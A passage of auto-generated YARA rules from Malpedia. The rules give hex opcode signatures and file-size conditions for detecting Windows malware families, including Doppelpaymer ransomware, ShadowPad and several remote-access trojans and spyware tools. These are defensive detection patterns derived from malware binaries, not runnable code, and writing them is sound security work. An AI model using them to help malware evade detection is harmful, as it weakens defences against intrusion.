		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.aperetif_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "8b99a188c4357f2054441c5cc8823b451c95e41e20e854ee376e3b8dd6441f0d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { ff7708 50 e8???????? 83c40c ff7708 8b442418 50 }
		$sequence_1 = { f20f1186080b0000 c7452400000000 e9???????? 85c9 0f84d8050000 697528100b0000 33ff }
		$sequence_2 = { 8bef 8d041b 50 8b442414 8b401c ff30 ff742424 }
		$sequence_3 = { e8???????? 8d48fe b82d000000 668901 eb0c 50 8d45ee }
		$sequence_4 = { e8???????? 8bf0 83c410 85f6 7511 68db020000 68???????? }
		$sequence_5 = { 8bc1 c1e810 0fb6c0 c1e208 0fb68068b98700 0bd0 8bc1 }
		$sequence_6 = { 8b5604 83c604 85d2 0f8421010000 8d4a01 8bc2 f00fb10e }
		$sequence_7 = { f20f5ec8 0f28d1 f20f59cb f20f59542448 660f2f0d???????? 7740 f20f1005???????? }
		$sequence_8 = { ff7508 8910 8b55e8 897004 895008 e8???????? c74310507c5c00 }
		$sequence_9 = { eb46 8b01 52 8d55d4 c745fc00000000 52 ff5014 }
	condition:
		7 of them and filesize < 10500096
}

rule MALPEDIA_Win_Mortis_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "f1dc50d3-c8e9-5fa8-9af5-7aac8f083303"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mortis"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.mortis_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "0e2f339d3dda0007a7d364688897ee3fa718ccca078261699c7cc12487f6f0da"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6bcf38 030c95201f4400 f6412d01 7428 e8???????? c70016000000 e8???????? }
		$sequence_1 = { 68???????? 51 50 51 ffb54cfdffff 8d4d98 e8???????? }
		$sequence_2 = { 8d1476 c1e204 8d0476 57 03d7 8d0cc7 e8???????? }
		$sequence_3 = { 8d8d40feffff 6a00 034804 33c0 394138 0f94c0 8d048502000000 }
		$sequence_4 = { c645fc01 8d8da0fdffff 6a07 0f57c0 c785b0fdffff00000000 68???????? 0f1185a0fdffff }
		$sequence_5 = { f20f591485d08c4300 660f5834c5e0944300 660f54c5 f20f5ce8 f20f58fa f20f10d8 f20f59c1 }
		$sequence_6 = { 8b07 6a01 68???????? 51 50 51 ffb54cfdffff }
		$sequence_7 = { c60000 c645fc04 8b8d3cfdffff 83f910 722f 8b9528fdffff 41 }
		$sequence_8 = { 7544 ba???????? b9???????? e8???????? 8bf0 ff15???????? }
		$sequence_9 = { 68???????? 0f1185e8fdffff c785fcfdffff00000000 e8???????? c645fc05 8d8d00feffff 6a0a }
	condition:
		7 of them and filesize < 577536
}

rule MALPEDIA_Win_Tildeb_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c974fa6c-0d31-59bc-a143-d1c23bc433da"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.tildeb"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.tildeb_auto.yar#L1-L129"
		license_url = "N/A"
		logic_hash = "7842b223356a837886d4f126b2b0f2ea5dcea94b3925e6e82a6b6f41a78e7627"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bbc24e0000000 03fb 03ef 8b3d???????? }
		$sequence_1 = { ff15???????? e9???????? 6810270000 8b0d???????? 51 ff15???????? 85c0 }
		$sequence_2 = { 83c8ff 5e 81c494010000 c3 b80a000000 5e 81c494010000 }
		$sequence_3 = { 8d4c2420 e8???????? 50 ff15???????? 8bf8 83c9ff 33c0 }
		$sequence_4 = { 50 51 ff15???????? 3d040000c0 7516 8b16 }
		$sequence_5 = { b9???????? e8???????? 6a00 6a04 8d85e0f9ffff 50 }
		$sequence_6 = { 8d85e4f9ffff 50 6800040000 ff15???????? 8d8de0f5ffff 51 6a00 }
		$sequence_7 = { 33dd 8bac24d0000000 899c24ec000000 8b9c24e4000000 33dd 8bac24b8000000 33dd }
		$sequence_8 = { 89442460 8b442454 8d4c2458 33f0 51 89742468 e8???????? }
		$sequence_9 = { 85c0 7507 c605????????01 68???????? 68???????? 8b3d???????? ffd7 }
	condition:
		7 of them and filesize < 8532488
}

rule MALPEDIA_Win_Doppelpaymer_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1dc537b4-6f02-5ffb-95a3-e1931065b1d5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.doppelpaymer"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.doppelpaymer_auto.yar#L1-L187"
		license_url = "N/A"
		logic_hash = "afd64f2ddb5bd37f521cb40f0013348f346b9ab89a5e6cb99d5de3a1977e77f0"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7523 80790264 751d 80790561 }
		$sequence_1 = { 751d 80790561 7517 80790361 7511 80790474 }
		$sequence_2 = { e8???????? 8b08 e8???????? 3db6389096 }
		$sequence_3 = { 80790361 7511 80790474 750b 80790173 7505 80392e }
		$sequence_4 = { baffffff7f 43 e8???????? 3bd8 }
		$sequence_5 = { 83ec28 6800002002 6a00 6a01 }
		$sequence_6 = { 8d8c2478010000 e8???????? 8d8c246c010000 e8???????? 8d8c24dc010000 e8???????? 8d8c24cc010000 }
		$sequence_7 = { e8???????? 85c0 740d 6a00 ff742440 ffd0 85c0 }
		$sequence_8 = { c20800 897de0 897de4 897de8 8d4900 }
		$sequence_9 = { 895ddc 0f84f0000000 e9???????? b801000000 b925155e0b }
		$sequence_10 = { c20800 8b31 8955f8 8955fc }
		$sequence_11 = { 8b4d0c 8b5508 83f800 8945f4 894df0 8955ec 7528 }
		$sequence_12 = { 894de4 8955e0 897ddc 8975d8 }
		$sequence_13 = { 8945e8 eb0c a1???????? ffd0 8945e4 ebc9 8b45e8 }
		$sequence_14 = { 8945e4 ebe3 b8c6ea1451 2b45ec 8b4dd8 81c1ffff0000 }
		$sequence_15 = { 8b7e38 897dc8 8955cc 893424 c744240400000000 c744240858000000 }
		$sequence_16 = { 8b55d8 8bb2a0000000 8b7de4 01f7 89fb 83c304 8b55e4 }
		$sequence_17 = { 8b8578ffffff b909fcb97e 2b4df0 8b55a4 39ca }
	condition:
		7 of them and filesize < 7266304
}

rule MALPEDIA_Win_Yorekey_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "53555fbf-037b-5e64-8224-50e96dcbd224"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yorekey"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.yorekey_auto.yar#L1-L161"
		license_url = "N/A"
		logic_hash = "41e7314d91a8ca800c9d1b91b639e00add0929573052dd3660fca999dcefb1ff"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 750a 85c0 7506 ff15???????? }
		$sequence_1 = { 4881ec80000000 488b05???????? 4833c4 488945f0 488d55a0 }
		$sequence_2 = { a1???????? 8bd0 83f910 7305 ba???????? }
		$sequence_3 = { 3da1000000 761b 3da3000000 7714 }
		$sequence_4 = { 488bc7 c6041800 ffc5 49ffc6 }
		$sequence_5 = { 488b05???????? 4833c4 4889442458 8b01 488bf9 }
		$sequence_6 = { 88541c2f 4881fb00010000 72dd 8b5704 8b0f 4c8d442430 4c8bce }
		$sequence_7 = { 8bd9 7418 488d0df7f50000 e8???????? 85c0 7408 }
		$sequence_8 = { 50 56 8d8c240c080000 51 52 ffd7 }
		$sequence_9 = { 8955f0 0fbe13 52 894dec 8b0d???????? 8945f4 8d45e4 }
		$sequence_10 = { 8d4598 b919000000 be???????? 8d7d98 50 f3a5 ff15???????? }
		$sequence_11 = { 68ff000000 e8???????? 59 59 8b7508 8d34f5d8194100 }
		$sequence_12 = { 0fbe84c140e14000 6a07 c1f804 59 }
		$sequence_13 = { cc 488d0de61f0100 e8???????? cc 85f6 }
		$sequence_14 = { 488b13 498b0f 488d0549470000 4889442450 488b85f0040000 4c8d442430 4889442460 }
	condition:
		7 of them and filesize < 274432
}

rule MALPEDIA_Win_Quarterrig_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "773e603c-b2a3-5ce5-ad18-62d70b454a9c"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.quarterrig"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.quarterrig_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "e5d3fc199bcc485e4ab028e477fcfeb78c0e1cd4e9776332bb130fba34692b6a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488d95f0010000 488d4c2460 e8???????? 410fbaec07 4489642434 488d542460 48837c247810 }
		$sequence_1 = { 7506 443a5802 7420 498bc1 492bc2 4903c0 663b10 }
		$sequence_2 = { 482bd7 4a0fbeb43850140600 8d4e01 4863c1 483bc2 0f8fe4010000 83f904 }
		$sequence_3 = { 4c89442418 4c894c2420 4883ec28 b95772865c e8???????? 4c8bf8 b95772865c }
		$sequence_4 = { 84c0 0f85a6000000 488d5770 488d8d10010000 e8???????? 84c0 0f8588000000 }
		$sequence_5 = { 80e107 c0e103 498bc5 48d3e8 43300408 49ffc0 4983f803 }
		$sequence_6 = { c3 488d0d7ad90500 e8???????? 833d????????ff 75d2 66c705????????1301 }
		$sequence_7 = { 498d8fc0000000 498bd1 e8???????? 90 488b55d7 4883fa10 720c }
		$sequence_8 = { 80e107 c0e103 48b8fff3a94f9f372b79 48d3e8 42300402 48ffc2 4883fa07 }
		$sequence_9 = { 418ac9 80e107 c0e103 49b81bf1eb35955fe34f 49d3e8 45300401 49ffc1 }
	condition:
		7 of them and filesize < 971776
}

rule MALPEDIA_Win_Vsingle_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d7b6b6db-e313-5b0b-a645-6bf26597d2b3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vsingle"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vsingle_auto.yar#L1-L167"
		license_url = "N/A"
		logic_hash = "f69fc53fa8d26d98505b2a81c4ca94e19258f9d652d84433b0b518828946acca"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 668985ccb6ffff 6800200000 6a00 8d8dceb6ffff 51 e8???????? }
		$sequence_1 = { 50 6800010000 8b4508 50 }
		$sequence_2 = { 50 51 b8b0490000 e8???????? }
		$sequence_3 = { 83c404 50 8d4dd0 51 e8???????? 83c40c }
		$sequence_4 = { 035508 b801000000 d1e0 8a4dff 880c02 ba04000000 }
		$sequence_5 = { 035508 be01000000 d1e6 8a0408 }
		$sequence_6 = { 50 0fb78d10efffff 51 0fb79516efffff 52 0fb78512efffff 50 }
		$sequence_7 = { 668985d4f6ffff 68fe070000 6a00 8d8dd6f6ffff }
		$sequence_8 = { 81c29733eaa8 81f2e97da1b5 81ea52e5b08e 81c2f77c29e2 81ea4b516cc2 89042a 5a }
		$sequence_9 = { 5f 51 57 51 b9cd968197 }
		$sequence_10 = { 51 b9b187ff90 81e95e49f864 81c17c65b866 81c10f9cc186 }
		$sequence_11 = { 81c2b953352c 81c26fe1dd9a 81eaf2033eb3 81f2866440c5 81f237c658eb 81c2a804b1a7 }
		$sequence_12 = { 5b 53 bb8fbc7c14 81c30cf1050f e9???????? 5e }
		$sequence_13 = { 7505 e9???????? 50 b8e64d1443 81e8dc1e5dbe eb0a }
		$sequence_14 = { 89042e 5e 56 be76e3d36a 81ee46419e0d }
		$sequence_15 = { 81f19d49dcd4 81e9c159bc74 890429 59 }
	condition:
		7 of them and filesize < 940032
}

rule MALPEDIA_Win_Moonbounce_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "300bd16a-9128-501e-b6a9-aa7b7927b326"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moonbounce"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.moonbounce_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "07326c1e5d89427ce612fcc5180ad0922ace80e6e89b51e53f272b71223e0de4"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b4dd4 0500100000 83c418 8901 }
		$sequence_1 = { b9???????? 2bc8 51 50 8b4508 83c014 50 }
		$sequence_2 = { 8945d8 53 8d45dc 50 ff15???????? 8d45d0 8945f8 }
		$sequence_3 = { 034004 83780400 7798 8d8680000000 83780400 }
		$sequence_4 = { 57 57 83c60c 56 ff15???????? 5f }
		$sequence_5 = { ff7508 ff15???????? 6a40 6800300000 8d45fc 50 }
		$sequence_6 = { 84c0 7518 8b4310 56 }
		$sequence_7 = { 8365f400 8d5008 895508 8b5004 03cb 83c2f8 894df0 }
		$sequence_8 = { 8b45f0 0fb70448 8b4f1c 8d0c81 8b4508 8b1c01 03d8 }
		$sequence_9 = { 8d450c 50 ff750c 33db ff15???????? }
	condition:
		7 of them and filesize < 70912
}

rule MALPEDIA_Win_Radrat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "8cc3544a-ed32-5550-b925-dec2c9f06198"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.radrat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.radrat_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "fb8c6f115f4d653cbab2ab642c199fa84b318ba0571f54841296153652a76219"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { c645fc06 8d9578ffffff 52 83ec28 8bc4 89a520ffffff 8d4dcc }
		$sequence_1 = { 8b55d8 894a54 837df010 7404 0cff eb7b 8b45d8 }
		$sequence_2 = { 8d8db4c3ffff e8???????? e9???????? 83bd54ffffff46 0f8570110000 6a01 8d953cc3ffff }
		$sequence_3 = { e8???????? c3 8d8d8ccdffff e8???????? c3 8d8dac95ffff e8???????? }
		$sequence_4 = { e8???????? c3 8d4d80 e8???????? c3 8d8d18fdffff e8???????? }
		$sequence_5 = { e8???????? c745c000000000 eb09 8b45c0 83c001 8945c0 8b4dc0 }
		$sequence_6 = { c745fc00000000 8b45c0 50 8b4dc8 e8???????? c745fcffffffff 8d4dcc }
		$sequence_7 = { c68522ffffff00 c68524ffffff00 c645fc07 8b550c 52 8d8decfeffff e8???????? }
		$sequence_8 = { e8???????? 83c410 8845fc 8b4dfc 81e1ff000000 85c9 7411 }
		$sequence_9 = { e8???????? c645fc08 8b8d6cfbffff 83c108 e8???????? c645fc04 8d8ddefdffff }
	condition:
		7 of them and filesize < 2080768
}

rule MALPEDIA_Win_Shadowpad_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "0c1faf29-7964-56d7-af15-c1e6eca3ddc5"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.shadowpad"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.shadowpad_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "f49d5d94105b284c3bf5a2bc14ecce3430da1255366e6df534c457baba4feead"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8bf0 e8???????? 50 ffd7 8d75d0 8945ec }
		$sequence_1 = { a80f 0f85c4000000 68f40f0000 8d45ec 50 8d4b0c }
		$sequence_2 = { 3b450c 0f8d85000000 41 51 8d45e0 e8???????? }
		$sequence_3 = { 53 56 33db 57 33d2 eb2d }
		$sequence_4 = { 894df8 890e 3803 7439 8b06 }
		$sequence_5 = { 88144b 8a0408 8b560c c0e804 046a 88444a01 }
		$sequence_6 = { c20400 55 8bec 53 57 ff7508 ff15???????? }
		$sequence_7 = { 8bec 51 8a4201 8845ff }
		$sequence_8 = { 33c0 8d4de8 e8???????? 8b7de0 8bc3 50 }
		$sequence_9 = { 32d1 46 8810 3b7508 0f8c74ffffff 5f }
	condition:
		7 of them and filesize < 188416
}

rule MALPEDIA_Win_Moonwalk_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "ef8baf81-8fc1-5b8a-8169-40c37ce56608"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.moonwalk"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.moonwalk_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "41695c23cda2f92c0bf6c3a4d26b3fdee7d01afc1ec5f837be35f51c67bf067d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 488d4c2458 4c8978d0 4533ff 4c897c2458 44897d20 e8???????? 85c0 }
		$sequence_1 = { 488b0d???????? ba833fd2f8 41b8e8c5ba5b 48898140010000 488d0d17880000 e8???????? }
		$sequence_2 = { 488b05???????? 4c8bb42418050000 4885c0 753c 488d8548040000 4489bd48040000 33d2 }
		$sequence_3 = { 72ed 443bc2 0f844e020000 33c0 44899500020000 89456c 0f57c0 }
		$sequence_4 = { 4881c4b0000000 5e c3 488b4718 488b4f20 ff5068 488d942490000000 }
		$sequence_5 = { 488b4968 4c896c2438 4c896c2430 4c896c2428 4c896c2420 e8???????? 4885db }
		$sequence_6 = { 488d0508ecffff 48894360 488d05bdf4ffff 48894368 488d05b2f5ffff 48894370 488d05c7f7ffff }
		$sequence_7 = { 488bfa 440fb65104 440fb64908 440fb6410c }
		$sequence_8 = { 4154 4155 4156 4157 488dac2458feffff 4881ecb8020000 0f1005???????? }
		$sequence_9 = { 0f84b6000000 4183f81d 740a b810000000 4883c448 c3 48895c2440 }
	condition:
		7 of them and filesize < 179200
}

rule MALPEDIA_Win_Whiskerspy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "129d540e-8d5c-5460-9975-895a38c68929"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.whiskerspy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.whiskerspy_auto.yar#L1-L147"
		license_url = "N/A"
		logic_hash = "f82e28f98658c3c783c2c1731be6b16001447d83e33b49e0aaa68c9ddf787261"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b06 8bcf d3e8 a801 }
		$sequence_1 = { 33d2 488d4c2460 41b804010000 e8???????? 33d2 }
		$sequence_2 = { 418b37 488bfd 488b8c2420010000 4883c510 }
		$sequence_3 = { 44896ddc 498bd4 498bcd e8???????? 4c8be0 }
		$sequence_4 = { 4803ca 418bc3 4c3bc1 458b4210 8b0d???????? }
		$sequence_5 = { 48d3cf 4933f8 4b87bcfee0740200 33c0 488b5c2450 }
		$sequence_6 = { e8???????? c6043700 488d55e0 498bce e8???????? }
		$sequence_7 = { 4157 488dac24c8fcffff 4881ec38040000 488bda }
		$sequence_8 = { 8d45d4 837de808 8b4db0 0f4345d4 8b16 }
		$sequence_9 = { c685f9fbffff1e c685fafbffff8b 59 c685fbfbffff86 }
		$sequence_10 = { c685e4feffff7b 889de5feffff 8a85b8feffff 8a840db8feffff }
		$sequence_11 = { 6a06 59 f3a5 8b75e8 8b7dd8 }
		$sequence_12 = { 0fbec1 83e820 83e07f 8b0cc5d43b4300 eb02 }
		$sequence_13 = { 7430 8b5304 8d47f8 8d7308 }
		$sequence_14 = { 33c0 f68594f9ffff02 899d9cf8ffff 89b5a0f8ffff }
	condition:
		7 of them and filesize < 591872
}

rule MALPEDIA_Win_Hzrat_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "67019030-b140-578f-bd57-ed696d61f957"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hzrat"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hzrat_auto.yar#L1-L128"
		license_url = "N/A"
		logic_hash = "e02b803e3f8c380d72f2cad18c6b29e368b4a184be0cb897b06c0987d88951d3"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83fa10 7202 8b3e a1???????? 89040f c6440f0400 eb20 }
		$sequence_1 = { 8b46e6 3b42e6 7462 0faee8 0fb67ee6 0fb642e6 2bf8 }
		$sequence_2 = { 33c0 85c9 0f9fc0 8d0c45ffffffff 85c9 0f8559030000 8b461c }
		$sequence_3 = { 8b450c 85c0 7416 8b5508 0fb64c02ff 80b91002420000 }
		$sequence_4 = { 57 6a00 ff15???????? 57 85c0 0f859b000000 }
		$sequence_5 = { 0f1106 ff15???????? 85c0 0f8484010000 0fb74704 50 ff15???????? }
		$sequence_6 = { 8b45ec 8d4e14 83c40c 8b7d08 8b55f0 83c72c c645fc01 }
		$sequence_7 = { 8b4dec 8d0411 8b4de8 33d2 }
		$sequence_8 = { 8d4123 3bc1 0f86e6000000 50 0faee8 e8???????? 83c404 }
		$sequence_9 = { 8b450c 50 e8???????? 8bc8 83c40c 894df8 }
	condition:
		7 of them and filesize < 409600
}

rule MALPEDIA_Win_Varenyky_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d2bf30dc-4373-5dce-a9a9-0dfa02ec7d8e"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.varenyky"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.varenyky_auto.yar#L1-L121"
		license_url = "N/A"
		logic_hash = "80f9f91b6d82bcfc676dfe7703a76fa743f54b58e262b45f8642f9e3f2fdc01d"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 1bc0 83d8ff 85c0 0f8467010000 8d8c2490000000 51 6804010000 }
		$sequence_1 = { 85c0 0f8ef7010000 8b15???????? a0???????? 6a00 }
		$sequence_2 = { bf697a0000 3bc3 7411 90 69ff81000000 }
		$sequence_3 = { 8d8c2454010000 68???????? 51 e8???????? 8d84245c010000 83c40c 8d5001 }
		$sequence_4 = { 83c40c 8d4c2418 51 8d94244c030000 }
		$sequence_5 = { 57 e8???????? 83c404 3c33 }
		$sequence_6 = { 8d84244d030000 53 50 c744242404010000 889c2454030000 e8???????? }
		$sequence_7 = { 0f8c0b0a0000 8ac2 2c20 3c58 7711 0fbec2 0fbe8030c24000 }
		$sequence_8 = { 3bc3 7411 90 69ff81000000 41 }
		$sequence_9 = { 8b84241c010000 83c40c 50 33d2 80bc242602000001 b905000000 0f95c2 }
	condition:
		7 of them and filesize < 24846336
}

rule MALPEDIA_Win_Fog_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "d28c9493-ded7-5c6b-96f1-79a637f3ec06"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.fog"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.fog_auto.yar#L1-L130"
		license_url = "N/A"
		logic_hash = "65c8cd27a3044c0ed114d45adeda01dfdb815d1dce8b0ed05ceb7d08d13dca8c"
		score = 75
